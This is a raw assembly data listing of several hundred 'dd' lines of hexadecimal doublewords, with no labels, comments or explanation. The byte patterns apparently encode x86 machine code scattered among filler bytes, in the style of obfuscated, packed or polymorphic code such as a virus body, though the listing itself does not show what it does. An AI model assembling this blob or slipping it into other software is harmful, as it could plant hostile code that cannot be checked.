		dd 5E9h, 71026900h, 0C780895Fh,	14E9C8h, 8CC0000h, 0ADBF2B93h
		dd 36CAEA5Ah, 3F91B27h,	0E96AE032h, 0AE98436h, 0ED000000h
		dd 8665F7A0h, 0F09BAE9h, 0D98B661Fh, 0FC28B66h,	0B89h
		dd 58E0F00h, 0BF000000h, 4393AB81h, 0FE8h, 8DC6E900h, 311E82AEh
		dd 87FF5DBBh, 0F3D4DDB7h, 6EC28156h, 584BD0B1h,	12880F5Bh
		dd 53000000h, 0AE8h, 0D2F79700h, 5E776A2Eh, 5F4DFD8Bh
		dd 0EE81665Fh, 0D78AA727h, 48D18166h, 66E58A5Ch, 7A43F081h
		dd 0F5BF857h, 108Ah, 9E800h, 62DB0000h,	0C9E21ED5h, 0F8AD7C09h
		dd 0BB66F55Eh, 0B9B43DB5h, 29F28160h, 6138F006h, 8E9h
		dd 173F00h, 3FB884F3h, 0CBBE6042h, 0BE1171F0h, 7439D34Ah
		dd 6E961h, 42B80000h, 0A48E8B51h, 66DF8B66h, 6D92EB81h
		dd 0FA3F080h, 484h, 8AB96600h, 0FE953h,	49C20000h, 0E9626758h
		dd 0F895C7FEh, 5D6C80A1h, 0E180F8BAh, 0DEF6803Dh, 29C981F5h
		dd 0F3CAEB4h, 12E8FBBFh, 0C8000000h, 33E4FF84h,	161465FDh
		dd 3A4CDB0Eh, 0FAA5A820h, 81665BB5h, 0F9357CD1h, 850Fh
		dd 0E3810000h, 3CA805B8h, 14850Fh, 0FE90000h, 0B0000000h
		dd 0F9C0F70h, 4DAF5C08h, 0E34D15E5h, 0C38BCA79h, 0CE9h
		dd 5658E200h, 32DEAE11h, 0F1D6FBCDh, 8B6650B5h,	880F5AD3h
		dd 3, 0FD8BF0Fh, 38Ch, 0DA8B6600h, 8166C28Bh, 66B984C0h
		dd 0E9F8D18Bh, 0Dh, 0EF686B57h,	33A81DEh, 0F1EA4BE5h, 11E961h
		dd 0B6FA0000h, 1897F0A6h, 72ACA6DAh, 0D7E3C36Ah, 0E8FA393Ah
		dd 8, 9116E14Fh, 9C34B698h, 68C0Fh, 0D6810000h,	11CF83EEh
		dd 0AE85Eh, 2DDB0000h, 0C6E4244Ch, 7DD0B112h, 53586EB4h
		dd 0E98BF56h, 5F5939D2h, 0E9FCCB8Bh, 12h, 0AAEEEC51h, 0D67B2BAFh
		dd 72D7CB71h, 75743C53h, 0CE81FC5Bh, 0E0482BFh,	0FCCBB70Fh
		dd 0C8D4E281h, 0CE93BD2h, 10000000h, 4C84F789h,	9269006Dh
		dd 51343659h, 2860Fh, 3B50000h,	605CB25Eh, 6061CC8Ah, 0E6816652h
		dd 615BA679h, 0EE8h, 0EC95E300h, 37D659F2h, 4A696895h
		dd 585D9225h, 6810Fh, 0CA810000h, 653ACEE6h, 68A0Fh, 66560000h
		dd 5BB4C5B9h, 3BA7AB4h,	0F31663Bh, 93B1C7B7h, 1F890Fh
		dd 6E80000h, 24000000h,	0C6A106BBh, 0DE875h, 0B8110000h
		dd 9B42EA02h, 6B469CB8h, 5F6120C9h, 81D08B58h, 332B55DFh
		dd 3F68044h, 0FE9h, 0D2021000h,	0E689118Bh, 514798F8h
		dd 28AAC116h, 6880Fh, 890F0000h, 0
		dd 14E9h, 0A3585500h, 63CD2A3Dh, 538329CBh, 78B3BB5Fh
		dd 0D8DE146Dh, 4890F15h, 60000000h, 6661C88Bh, 0B966C18Bh
		dd 0E3801A97h, 0B96653C4h, 0F95EE506h, 0FD2B70Fh, 0F280C1B7h
		dd 8BF28B31h, 0EE8F9h, 59150000h, 0B3B10777h, 5E13C8Eh
		dd 131E94EBh, 5BD8BF0Fh, 0F608BB2h, 681h, 890F00h, 81000000h
		dd 5DDFAAC9h, 0E8566170h, 8, 845CAFC5h,	0D124E793h, 367FD081h
		dd 5B5A0CBDh, 4870Fh, 0B9660000h, 95B5A186h, 8E0Fh, 11E90000h
		dd 2000000h, 25F68296h,	67697FB6h, 7409B1FDh, 9C075CE0h
		dd 13E9h, 0DAA4B100h, 7E60EF8Ah, 0CE5F802Ah, 32ECD508h
		dd 3EAC1283h, 0FD0B70Fh, 0BF0FC0BFh, 85B0B9DBh,	0DF80797Bh
		dd 38A0FB9h, 80000000h,	0E9F8C1E8h, 0Eh, 0AB77DD40h, 6F3D8671h
		dd 0DC7EBA2Ch, 7AB301F7h, 34BB66F5h, 62BF66AAh,	0D28166DAh
		dd 0CA8B575Dh, 0FD38B66h, 58Ch,	0D56EBE00h, 605045E1h
		dd 59DF8166h, 830FFCh, 61000000h, 0FE95Fh, 6A2F0000h, 97A40C7Eh
		dd 64E0AC5Ch, 0AD1E8600h, 0F60F5C3h, 0BB61FFBFh, 4847F6B4h
		dd 17F3BF66h, 6800F56h,	0F000000h, 85h,	0AE95800h, 0EF000000h
		dd 8131E475h, 1205DE8Bh, 2FCA810Eh, 0B06769A5h,	890FF9B0h
		dd 0
		dd 5810Fh, 0BE0000h, 60377083h,	5E8h, 0EBA01100h, 8166B1A1h
		dd 5B3308DAh, 0DE9h, 0F7C89600h, 97DF81FDh, 0BE1684F1h
		dd 0F617EFFh, 38Dh, 0F1B70F00h,	8207B856h, 815B7C53h, 14AA75C1h
		dd 81665177h, 5B1C6DF3h, 48D0Fh, 0B8660000h, 0E3BE7807h
		dd 0F10BB72h, 880h, 2880F00h, 50000000h, 0DDB9665Bh, 66F08AB6h
		dd 8909C981h, 73AD65BBh, 0D810F23h, 60000000h, 0C91792BEh
		dd 7BE7815Dh, 6155889Fh, 0F0B70F51h, 0E9F88B59h, 9, 0F2E33005h
		dd 2F1D9AD6h, 0FFB70F37h, 8166E38Ah, 66B9CFE7h,	0E9FABCBFh
		dd 0Bh,	653B587Dh, 42EFFC42h, 662D5A2Eh, 8B6FD2BEh, 3CFCBBFAh
		dd 0BB6074B8h, 36B02E88h, 30D18166h, 0FE96117h,	0F9000000h
		dd 8971046Ch, 64C7D706h, 66F2D389h, 0B70F426Dh,	0CEBB66CFh
		dd 54CC80C4h, 0FFC8AB2h, 0B87h,	58E0F00h, 0BE000000h, 46FCBD60h
		dd 0B96659B3h, 0B70FAA01h, 0FCE8BDAh, 8166C8BFh, 0BE5B59CFh
		dd 687943C0h, 71CF8166h, 0B3F5B6h, 0FFFB70Fh, 78Dh, 5DBF5700h
		dd 5836258Bh, 0B4B4F18Ah, 0C941F9BBh, 0F60506Ah, 11E8F8B7h
		dd 0A8000000h, 81E06F61h, 0B22E2AA4h, 0EB8B9C2Bh, 0DE2D2DA2h
		dd 8B5B6158h, 8AB660C1h, 64C78166h, 0B9F5610Dh,	7D77936Ch
		dd 0E1816057h, 1386016Ah, 0D2D9F681h, 59615321h, 52F7B70Fh
		dd 11E9h, 0C1184400h, 454407D4h, 0F7023F78h, 40253057h
		dd 665926D9h, 0C381F88Bh, 666EA33Bh, 6E8FCh, 938C0000h
		dd 0B21D4FCFh, 0C68B6658h, 5E9F8h, 6730000h, 0E9AE7029h
		dd 11h,	56C63062h, 13A8F47h, 0B063842Ch, 75FE2723h, 0CD3812Dh
		dd 813F869Ah, 39C05AF3h, 0F645B93Dh, 870F7053h,	3, 60CBBF0Fh
		dd 0D0DB8166h, 0EE816662h, 8B617277h, 7E8D9h, 580A0000h
		dd 387EFEEEh, 605FFC37h, 3E10A3BEh, 68C0F6Ah, 81000000h
		dd 620CF0CFh, 6660616Ch, 37D5F181h, 9E861h, 0F410000h
		dd 86C660E7h, 662E16F4h, 605BCB8Bh, 12E8h, 0E0FCCD00h
		dd 315ADA54h, 501453Fh,	6D439BCBh, 59143D7Dh, 12E9h, 1FB4E600h
		dd 456347FAh, 2F89F8ADh, 3F4EED63h, 61A02498h, 0C783BB50h
		dd 0F5802DCh, 0E9FCF9B7h, 13h, 28379394h, 0BCA79A00h, 6AE093Bh
		dd 0C95546FEh, 8ADD127Ah, 51D981F5h, 66062E7Bh,	80E2D0BBh
		dd 8BF91CEEh, 0FEB866D6h, 15F5BB99h, 0DE971F0h,	0A7000000h
		dd 998E266Ah, 5C92AA93h, 0F2B8E199h, 85A8B966h,	81666060h
		dd 0F0ADCD6h, 8Bh, 81666100h, 61BEFBE3h, 66F2B70Fh, 800FF88Bh
		dd 3, 0FF0BF0Fh, 885h, 0BB666000h, 0DB3F13Dh, 11E9F561h
		dd 0B9000000h, 861363D5h, 7EEA76FFh, 4029768Ch,	37C50BBDh
		dd 0B064EF80h, 1CBA66B2h, 0D88B665Ch, 53D68B66h, 13E959FCh
		dd 0A2000000h, 38BB5662h, 6DD7FCCAh, 6AECED29h,	93D43DBDh
		dd 13E89177h, 9000000h,	755AE68Bh, 13E63261h, 0D449963Bh
		dd 564D06CFh, 890F58BCh, 5, 2FE08166h, 810F5F95h, 10h
		dd 8E8h, 4C5AD700h, 5C60DDEBh, 59F78B87h, 5E8h,	0C844AC00h
		dd 0F78BDAA5h, 5FF8515Fh, 48D0Fh, 0BE660000h, 8A50E62Dh
		dd 6E85EE5h, 5C000000h,	32622616h, 5EFC5269h, 19800F5Eh
		dd 0E9000000h, 14h, 56BFCE4Ch, 581BE83Eh, 919A12F9h, 978E7C94h
		dd 0CB4D0D96h, 0EE9h, 5CBE7500h, 0D8643805h, 52AB022Bh
		dd 66F20A8Ch, 0D881C38Bh, 2480814Eh, 1820Fh, 80F90000h
		dd 0BE666FE9h, 0BE9C32Eh, 4B000000h, 43BB4F5Dh,	9879B14Dh
		dd 0FE8E50Eh, 0C5000000h, 0FEEB1710h, 0FAA8AF51h, 0A75C00DAh
		dd 0B70FD29Eh, 0F6058F3h, 58Ch,	0B7F0B800h, 850F7CE9h
		dd 11h,	0CE9h, 24407A00h, 0B6C16A88h, 63C9AC73h, 800F6167h
		dd 12h,	9E8h, 0C76E9100h, 0A677A285h, 0CC80F8A7h, 0CE858A8h
		dd 0BC000000h, 98DBFA0Bh, 0C7181AD0h, 6031971Fh, 0AA5019BEh
		dd 6161606Dh, 7E85Fh, 9C90000h,	4A89AD7Ch, 0F3BF0F45h
		dd 0CBE98159h, 0F02674Bh, 0B87h, 6E900h, 23100000h, 512F247h
		dd 5278A4BBh, 8166606Ah, 0E9820CD8h, 0Fh, 63B42AEAh, 0DF04A260h
		dd 1EB576F0h, 618415C2h, 7E9h, 227D9000h, 15980630h, 0EE8h
		dd 0E0932F00h, 0B027D585h, 6DE89007h, 0F8C8284h, 28Fh
		dd 5BCA8B00h, 2880Fh, 0F08B0000h, 11E8h, 237DC300h, 9095CE2h
		dd 0B94A35BCh, 25A7499Bh, 665330EDh, 5AB5DEB9h,	0C681F85Ah
		dd 75EF5A4Eh, 6E9C28Ah,	1000000h, 5FE3739h, 0DE972h, 0EACF0000h
		dd 445C6FEDh, 0E1186478h, 5381C409h, 0B9665BF8h, 0B70F6C5Fh
		dd 97BA66DFh, 81FB8B01h, 4AD4F8DAh, 58C0F25h, 66000000h
		dd 0DAEBD981h, 0CCB3C68Bh, 387C181h, 0FFC1A34h,	0F87h
		dd 9E800h, 0F4640000h, 58C43ECh, 584E88E8h, 212AB966h
		dd 3EBB6653h, 0FE8B5AA2h, 38F0Fh, 8B660000h, 810FFAh, 0F000000h
		dd 8060D6BFh, 0E681C1D3h, 2BDB2ADFh, 0E8F9F561h, 6, 0CCC0F0B9h
		dd 0B70F2EBBh, 8B665EFBh, 2EC380DEh, 0DF78166h,	51D78196h
		dd 0F3A87F3h, 389h, 0C9CB8000h,	3880Fh,	0B70F0000h, 0C28166C7h
		dd 52FC8A0Eh, 19850Fh, 14E90000h, 0E3000000h, 0F4C9B7E3h
		dd 0E469EA73h, 4FE21CF5h, 74F1E716h, 5979E1E8h,	8C9EBA66h
		dd 2754B866h, 0FE8h, 6E221B00h,	0C255A912h, 571CF8DAh
		dd 74B007Fh, 0F5E9FB2h,	384h, 0C9B70F00h, 5BC98060h, 0BE9h
		dd 0B456F500h, 7A50418Fh, 0A7D9F3C3h, 0DE961h, 20D60000h
		dd 2AD55634h, 0F7A0ED95h, 0FE98665h, 58Eh, 7C51BE00h, 81662531h
		dd 0F55A9DFh, 168Fh, 11E900h, 0B2860000h, 38C9F333h, 828F9FD8h
		dd 272C6AF5h, 0FB7AC61h, 0BA66F8B7h, 81FC1298h,	67A728CEh
		dd 7E91Eh, 0FD410000h, 7D23A6FBh, 0ECC181C3h, 0F574B4C3h
		dd 0E9F2BF0Fh, 14h, 0CAC64CC7h,	0BBBE3Ah, 5CFEDCB7h, 0EBD10045h
		dd 7A079A60h, 14E9h, 1E8E6500h,	8B7B2E25h, 4886E18h, 0AE2CC30Dh
		dd 497369D3h, 0F28B66EFh, 7BB3EA81h, 81661999h,	66D6F9C8h
		dd 0F5636ABEh, 71EF99BBh, 0D98B662Dh, 0FCFB70Fh, 1285h
		dd 0AE800h, 2EBD0000h, 70AA7903h, 0FA40F039h, 0BB5A6160h
		dd 792B0ED6h, 14FCDFB8h, 0DBBE6603h, 16810FE8h,	0F000000h
		dd 108Dh, 0BE900h, 0BF3D0000h, 6C69A28Fh, 47FE6994h, 1D8D0FA7h
		dd 0E8000000h, 11h, 7F3D16A5h, 0E93F6596h, 0C449A6F1h
		dd 0B8553F41h, 850F06h,	58000000h, 0F98B6660h, 0ACD18166h
		dd 0BABA610Eh, 0E857CAEAh, 14h,	0D27F99A2h, 0A9B5B3E6h
		dd 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 890F60h, 0E9000000h
		dd 0Ah,	87BF8502h, 0FD6642F7h, 5B61DDFAh, 0AD2D3FBFh, 0A4A2BF2Dh
		dd 60FC4B75h, 0B86698B6h, 0B461B116h, 12E9BDh, 0DE170000h
		dd 6CDD3F79h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh,	0EE9h
		dd 0C9469A00h, 16B46FF5h, 0D6FAACEEh, 60C84952h, 0E8616060h
		dd 14h,	0E06D2CD8h, 288E479Fh, 67B21201h, 0A66D42FCh, 80C5BAFDh
		dd 61F56158h, 2932E381h, 14E962D4h, 47000000h, 23803EBEh
		dd 361C89B7h, 0B882B891h, 908A751Dh, 66194A15h,	4D8BC381h
		dd 2850Fh, 9AB40000h, 60D68151h
		dd 5E7C69FDh, 0FCC78B66h, 0FD7BF0Fh, 5E8F7BFh, 95000000h
		dd 82F18DDBh, 0BC44BF66h, 0F38B665Eh, 10E9h, 0C8D1DF00h
		dd 50369DA8h, 89B17D99h, 0FC86FE46h, 82BB6073h,	0F35FC1Ch
		dd 180h, 0FC61F900h, 8BF18B66h,	0F08166FAh, 6660D58Eh
		dd 50AD86BEh, 870Fh, 61590000h,	5DE4C381h, 0BB662DB2h
		dd 8B662777h, 93F181C8h, 662AE7EDh, 12F1E281h, 0C3B70FF9h
		dd 7EE78166h, 0CFB70F96h, 8166F08Bh, 0FF047D7h,	8166CBB7h
		dd 0E95B8ED1h, 10h, 6DA4F279h, 0D3FE5D88h, 0D91E5A79h
		dd 8E0542A4h, 0BF66FCB6h, 0BF0FEC14h, 0C6B70FCBh, 8B66FE8Bh
		dd 5F780DAh, 0F264D0BBh, 9AABE12h, 800F11A7h, 20h, 0BEF1BE60h
		dd 14E96F51h, 1D000000h, 99179E52h, 0AF5BBE5Ah,	43502012h
		dd 0DA88F490h, 615D46B6h, 13E9h, 40C8F900h, 33753C62h
		dd 0D346543Ch, 0E717AC41h, 16F08B8h, 60941BFh, 0DBBF0F44h
		dd 0F2B70F53h, 0CAB70F5Ah, 11E78166h, 6BC181ACh, 0B947B5B0h
		dd 7010B710h, 66FAB70Fh, 8354EA81h, 0DBEFEB81h,	56604AFAh
		dd 615FCE8Bh, 5E9h, 0CB3AF900h,	0E8F8B3A6h, 0Bh, 0CB353FE1h
		dd 3A205C6Bh, 0E93CA15Ch, 10h, 0B139639Bh, 3803DF8Dh, 5E381FC2h
		dd 91EEB546h, 8E0F5Eh, 0BB000000h, 0E3B8D59h, 0B4FBBF0Fh
		dd 0C1816667h, 0A0B9C470h, 813C5ECFh, 6E65A7E8h, 5EFC574Ch
		dd 0F5A51FCh, 38Eh, 0C7BF0F00h,	7168DF81h, 0BF0F31FEh
		dd 56EBB9C2h, 0B70F05F7h, 83BF66F9h, 0CDB8667Bh, 0DA8B6608h
		dd 0E6816660h, 61FCBD81h, 0B8668EB0h, 81B85D4Ch, 0F6A170Ah
		dd 1986h, 14E900h, 28A90000h, 3681C292h, 147985ECh, 0AF25198Ah
		dd 67C2B03Ch, 0B060B0CCh, 0D9B70FCEh, 870F61h, 80000000h
		dd 8A0F03F6h, 0
		dd 14E9h, 0EFF2B200h, 76588218h, 41A9C64Dh, 20C8D92Ah
		dd 0B0702BF6h, 0E7816656h, 5EB8940Fh, 8B198905h, 66F18BD7h
		dd 0BE66CE8Bh, 13E9EF16h, 6E000000h, 0D4DC7E6h,	0DA282172h
		dd 200BF2D6h, 0B049EA53h, 0BA661BA9h, 1FBECE6Ah, 0E8173348h
		dd 11h,	0B1D94547h, 0CC43ACADh,	0C27DF0ACh, 0FC6D9072h
		dd 13E900h, 0AB70000h, 0A7B5E98Bh, 48E21701h, 2BE47770h
		dd 0F866975Eh, 0FE85E18h, 95000000h, 996FB8Dh, 173FF3h
		dd 3FB884F3h, 59FCDE42h, 11E8h,	205D4200h, 8F9A98B5h, 0C817857h
		dd 4367DFD1h, 0E953A559h, 11h, 5914E67Dh, 9F852250h, 89D57F92h
		dd 0EBF81F82h, 8A5B5F59h, 0C68B66D8h, 13E9h, 9F761A00h
		dd 158139Dh, 21EA1BA2h,	0FFB531B0h, 0C06BCFEFh,	78EE90BBh
		dd 0F1BF0F4Dh, 0DB88D081h, 57F90043h, 0F7845BB9h, 0B70F5816h
		dd 98A0FFFh, 0F000000h,	38Ch, 0C8BF0F00h, 0F560D980h, 0FE9h
		dd 89202100h, 15C4DD67h, 58C2F396h, 7346F4B6h, 8CD38166h
		dd 0C78B6670h, 5850Fh, 81660000h, 0E9340FD2h, 12h, 10DA6AB3h
		dd 1BA56B12h, 382D0F67h, 15D3DFCh, 81F894EDh, 4F5FD4D8h
		dd 48D0F5Ah, 66000000h,	665C20BBh, 3221E881h, 0B85BFC51h
		dd 5C35EFB8h, 7E8h, 0E4A0C400h,	8D40D9B2h, 18CE815Eh, 0F0F4317h
		dd 58Bh, 57A3BA00h, 0BF0F65A7h,	0D28166F6h, 0D580F46Eh
		dd 13E9E4h, 713C0000h, 5F3C6C71h, 1A6DCE6Ah, 9213EF13h
		dd 0D5BB694Bh, 1E830FBDh, 60000000h, 0E5B3DF81h, 11E91AEEh
		dd 0EC000000h, 0AF7D97FBh, 80E25FC4h, 94BDCBE7h, 0C86CFD38h
		dd 0E951FC61h, 10h, 0F11C926Ah,	1F8A6A03h, 82350470h, 1EDC5713h
		dd 0DF8B6658h, 840Fh, 8B660000h, 4890FFAh, 66000000h, 0F617FBAh
		dd 389h, 0F0BF0F00h, 0EE8h, 2E896900h, 906F9157h, 0B2FEDA40h
		dd 5FAFE35Bh, 66F2C280h, 8B6541BAh, 59F956D9h, 11840Fh
		dd 0CE90000h, 0B4000000h, 3D38542Eh, 831B8121h,	667FFFC5h
		dd 0FDDD981h, 31F08166h, 0F0B70F32h, 0BE9h, 4AB05400h
		dd 4C91E2D6h, 7BBF89E8h, 148B0Fh, 0E9600000h, 0Bh, 66B2AB22h
		dd 95F45BADh, 51265617h, 0D981615Ah, 1A02AD2Bh,	0F9F28B66h
		dd 0FDEC80FCh, 8870Fh, 840F0000h, 2, 800FCB8Bh,	2, 0E0819DB0h
		dd 1E3871CAh, 0CBE28166h, 0BA665180h, 0F5EB68Eh, 1C84h
		dd 12E800h, 57780000h, 0A032C32Bh, 6FD42942h, 27525CDDh
		dd 79ADAC37h, 8716BE66h, 10E95Ah, 0A70A0000h, 0DF267DACh
		dd 1D9400E2h, 70C99B39h, 0CCBF0D0Eh, 8B4AA40Ch,	0BB66F8F1h
		dd 6E85587h, 18000000h,	8E456AE4h, 665FF93Eh, 0F0403BEh
		dd 682h, 6BF68100h, 605FBD93h, 36FCBA66h, 6661D18Bh, 9659E781h
		dd 0C1B445B4h, 14E9h, 5FEE5B00h, 8691FCECh, 4A9CDC5Dh
		dd 3E442A1Ah, 45CC0A4Eh, 8B0FFCB0h, 4, 0C524B966h, 0EE9h
		dd 368A6B00h, 0D3E0D1E7h, 6561FE7Bh, 0FC931940h, 0C0EC80F8h
		dd 0E820Fh, 7E80000h, 18000000h, 3065116Fh, 59F80883h
		dd 0F88BC0B0h, 63D88166h, 6653602Ah, 2786D881h,	0C2F2815Ah
		dd 614B48B5h, 91E0B866h, 0BDDE8166h, 12E8C0h, 59C0000h
		dd 93BB7F78h, 0E35A9CCCh, 1A962ADCh, 811611AEh,	0F859F98Bh
		dd 0AEB8166h, 9E962h, 86F80000h, 63FDCC6h, 511DEF3Dh, 0C6816660h
		dd 5F61D577h, 0E379E281h, 0E38102D0h, 7D2C31E6h, 66DE8BFCh
		dd 0E8E60BB8h, 9, 0DAEA4A0Ch, 0A1EEC590h, 58B0F9Eh, 0BE000000h
		dd 1FCE9ED3h, 0A7B9665Ah, 0D3816646h, 0A8BAD7B9h, 661167CAh
		dd 0B006D1B9h, 0E981F594h, 615BC4Eh, 0FC38B66h,	8166C9BFh
		dd 0BB617DC2h, 7D08AA92h, 0FD2BF0Fh, 8B57F3B7h,	43B958CFh
		dd 0F68A032h, 88Dh, 810F5200h, 0
		dd 14E95Bh, 8CC20000h, 7533DC1Ah, 0C8478940h, 0A0B2C4Eh
		dd 34455887h, 7E8E565h,	0B0000000h, 0D7684328h,	60504F69h
		dd 665B5861h, 12E9C78Bh, 9F000000h, 1110EFBAh, 0A8132D00h
		dd 5402CA3Eh, 707CD6BCh, 7E9FBh, 97310000h, 87A43C23h
		dd 0CFBA66C2h, 0AADE80A1h, 48F0Fh, 0BE660000h, 81660384h
		dd 0FB565DBh, 28Ah, 56595300h, 0E95ACE8Bh, 13h,	596A70A5h
		dd 0AF24355Eh, 754363C5h, 32BD71D0h, 0E93552EAh, 0Ah, 99FF4FC1h
		dd 0D2D984F2h, 576023F0h, 7E8h,	0EE683400h, 10C829CEh
		dd 56615B5Bh, 665A5CB2h, 20D1EB81h, 8B605FB2h, 0E961FCF2h
		dd 0Ah,	5638E797h, 0BCBDE331h, 8A0F40E9h, 0Ch, 68D0Fh
		dd 850F0000h, 0
		dd 18D0Fh, 0FF80000h, 380h, 0F3BF0F00h,	0AE8h, 43045600h
		dd 0FA729CA4h, 66DB615Ch, 60E8CF81h, 81C28B5Fh,	0D4223FEAh
		dd 0CE85Fh, 4A8A0000h, 69164998h, 97880758h, 0CB8B59E0h
		dd 0CE816659h, 0F28B9EBCh, 0CE9h, 4D0F8700h, 7C31D9C5h
		dd 9C010A35h, 0DE816679h, 81667EB1h, 81F079D7h,	12D360E0h
		dd 0E999B621h, 14h, 0D18ABC08h,	0E0CEE74Dh, 655F3D36h
		dd 4AD9CCBEh, 0C24DBAB5h, 48F0Fh, 0B8660000h, 13E9FCDDh
		dd 0C0000000h, 1DCD14CAh, 5829BEB8h, 4CDDDFC7h,	2A9AC574h
		dd 0CE968C4h, 0AE000000h, 8288ACC4h, 66169C68h,	812E8449h
		dd 0ACFDDCCAh, 81665772h, 595384DFh, 37E0C4BFh,	3840F01h
		dd 0F000000h, 66F8D6BFh, 9E9F18Bh, 6B000000h, 0BB227627h
		dd 0E6029C14h, 0BE9FCh,	0FFE10000h, 72970A7Bh, 7A1D0713h
		dd 0C6BA660Eh, 0C681663Ch, 0B70FCEA9h, 0D78B56F1h, 0BDB86658h
		dd 6E95Eh, 7CA80000h, 48C73BC2h, 11830Fh, 860F0000h, 0Bh
		dd 5E8h, 0FA1ABA00h, 0F58E034h,	158Eh, 0DE800h,	8640000h
		dd 171CB81Bh, 52E3D057h, 5618DED4h, 8B665F5Eh, 0E8E9B3DEh
		dd 10h,	28BB66A8h, 0AE7B23A4h, 0F6BFAEA0h, 0E040D678h
		dd 8CC38166h, 0D0805E83h, 0F28166D8h, 0D8BE72D3h, 8A29506Dh
		dd 8E9F0h, 0B1580000h, 7877B49Eh, 8E0F00A1h, 0Dh, 5E8h
		dd 0CCF0F500h, 0F28BA0CBh, 0C38B6658h, 0BE9h, 0AC862E00h
		dd 0A09E05D2h, 9374723Eh, 0B97287BEh, 7BB86656h, 0BE8D4h
		dd 8B130000h, 4234AC90h, 48352AF5h, 7E91Dh, 0DB80000h
		dd 4845D4AFh, 10E95B0Dh, 73000000h, 5F44D163h, 0D3BF7162h
		dd 0D0ACAC28h, 0E82FAFAEh, 0Ah,	0AE167447h, 0B621F815h
		dd 0AE80B13h, 36000000h, 0F9E59928h, 0B34E19E5h, 9E81Dh
		dd 55DC0000h, 0A5E3D967h, 5EF59743h, 6E8595Bh, 0BA000000h
		dd 0C83D4961h, 8BD9BF24h, 0F55E3F3Dh, 0C281D18Bh, 5BD45D24h
		dd 12E9h, 75576200h, 57718A5Ch,	0CA9E4FFAh, 69AE62h, 6685FA15h
		dd 0FFE39B8h, 1B87h, 158E0F00h,	0E9000000h, 10h, 1603FD59h
		dd 0FB8B0C73h, 0C246E524h, 0C33FBFADh, 47E560B9h, 0D08B604Bh
		dd 13830Fh, 0DE80000h, 0F8000000h, 391E3A2Ah, 66A23A66h
		dd 3790FC5Dh, 850F615Eh, 0
		dd 2498C981h, 81667D45h, 564EC1E8h, 59F3BF0Fh, 1E810Fh
		dd 14E80000h, 4000000h,	0EA9DDAAh, 8B6DB9A4h, 839985Ah
		dd 35D94156h, 66E1CF45h, 580266BFh, 1A8C0Fh, 11E80000h
		dd 20000000h, 1C870E0Ah, 0DD1830D4h, 518213DFh,	0F64D264Bh
		dd 58C1BF0Fh, 58A2E381h, 8A0F55DAh, 1, 6659B9F9h, 66520465h
		dd 3734EE81h, 0D081665Ah, 0BA66AE44h, 0E3815DDBh, 16737266h
		dd 2375BB60h, 5E939C3h,	91000000h, 0A1D80A52h, 0F08B6661h
		dd 5E956h, 0CE5F0000h, 5EECD508h, 8E0F60h, 0BF000000h
		dd 7A00B959h, 158F0F61h, 57000000h, 0DE8h, 89B51300h, 117713A2h
		dd 0AB38D5Dh, 5E58B2BFh, 118A0Fh, 0CE90000h, 3000000h
		dd 0B44A7E80h, 0DC969443h, 0BF16CDAFh, 0CBCBF4Dh, 0FEBCA80h
		dd 78Ah, 1840F00h, 0FC000000h, 6E8h, 97C8500h, 5AFA1969h
		dd 8B666060h, 59E080CBh, 0C6BF0F61h, 0C2BF0F61h, 7A2CCA81h
		dd 0F4803389h, 10BE661Eh, 0F860F81h, 0E9000000h, 0Ah, 0AC5E479h
		dd 321DCF31h, 0DE9F78Ah, 0F6000000h, 0F5AE3683h, 0F2DC0B2Eh
		dd 0DB8F6EE9h, 86E0BB66h, 0DF8B66F5h, 8DCF8160h, 57050606h
		dd 850Fh, 61580000h, 0C66BCF81h, 0FF503CFh, 1A83h, 11E96000h
		dd 2A000000h, 0EFE802D6h, 4AB4735Eh, 0E79EA282h, 0E2399209h
		dd 81615951h, 0F54287D8h, 3840F5Fh, 0F000000h, 8D0FF1B7h
		dd 15h,	10E9h, 92C12E00h, 0C58E9AA1h, 25CE921Ch, 0D7D8409Eh
		dd 5E8D9h, 0E33C0000h, 0FE2B69Eh, 82h, 11E95E00h, 0B4000000h
		dd 668F43DDh, 80E576A0h, 84B4D580h, 7DB4CCABh, 0DDB9D08Bh
		dd 60599BA0h, 8AC28B66h, 0F6061F7h, 8B61F7BFh, 0C9B350D0h
		dd 6660F859h, 0C18BDE8Bh, 8E861h, 0F0C70000h, 0DE27C38Eh
		dd 5BF5FDC9h, 0FB8B6660h, 61C2BF0Fh, 0EE9h, 27D1C400h
		dd 1E32498Ch, 3CC5EEA1h, 66360766h, 17A3E081h, 14E8h, 2617A500h
		dd 45718891h, 188EF743h, 0FF6AE6DBh, 0F545FB4Ah, 0D9BF0F93h
		dd 0C88B6659h, 0D1BF0F50h, 38A0F5Ah, 60000000h,	0AE961F9h
		dd 3D000000h, 4BB669BCh, 79E2AEADh, 0FABF0F2Bh,	0A880Fh
		dd 5E90000h, 63000000h,	0E667CCCCh, 168C0Fh, 0BE80000h
		dd 92000000h, 0C2979A10h, 0DFA00514h, 81662B7Ch, 5E021CDAh
		dd 42B96656h, 5E95BB9h,	0D0000000h, 2C04F942h, 0DE9h, 0B9FCD400h
		dd 0AA065255h, 39266FF7h, 80F98C9Eh, 0D7B669CCh, 35F78166h
		dd 0FFBF0FCBh, 5E9FE8Ah, 2A000000h, 108923D2h, 41CF8166h
		dd 0DB48B852h, 800F73DCh, 0Ch, 6810Fh, 0CA810000h, 6D6DB49Ah
		dd 5E957h, 23410000h, 5A9E97C6h, 0F98BFA8Ah, 142D19BBh
		dd 5800F35h, 0B8000000h, 53B091F8h, 14E9h, 3FBC8B00h, 55E30926h
		dd 0C59C4DC4h, 8161C232h, 0EB8EE85Bh, 0EDE98167h, 0E93FF18Eh
		dd 12h,	36F52603h, 2A589678h, 0A2100A1Ah, 40A9F794h, 14E9793Dh
		dd 0B2000000h, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch
		dd 666A4213h, 9700E981h, 561ABA66h, 10E860h, 0A5B0000h
		dd 0DA45FE77h, 3D0D86C1h, 691579E4h, 0E0818D9Dh, 417BC2Ch
		dd 0C3BF0F5Bh, 0DE8F561h, 8E000000h, 2A894D8Bh,	0D736DD1h
		dd 3F244548h, 0CE853h, 81780000h, 67DFD10Ch, 11A55943h
		dd 5A5910C3h, 0C880F5Fh, 0F000000h, 686h, 810F00h, 0E9000000h
		dd 11h,	0E0845BDDh, 78EB894Ch, 4D4D8775h, 7F6C7A8Bh, 0CF81660Fh
		dd 14E9A1B1h, 0C3000000h, 36700196h, 9B89E8Dh, 0F018ED9Dh
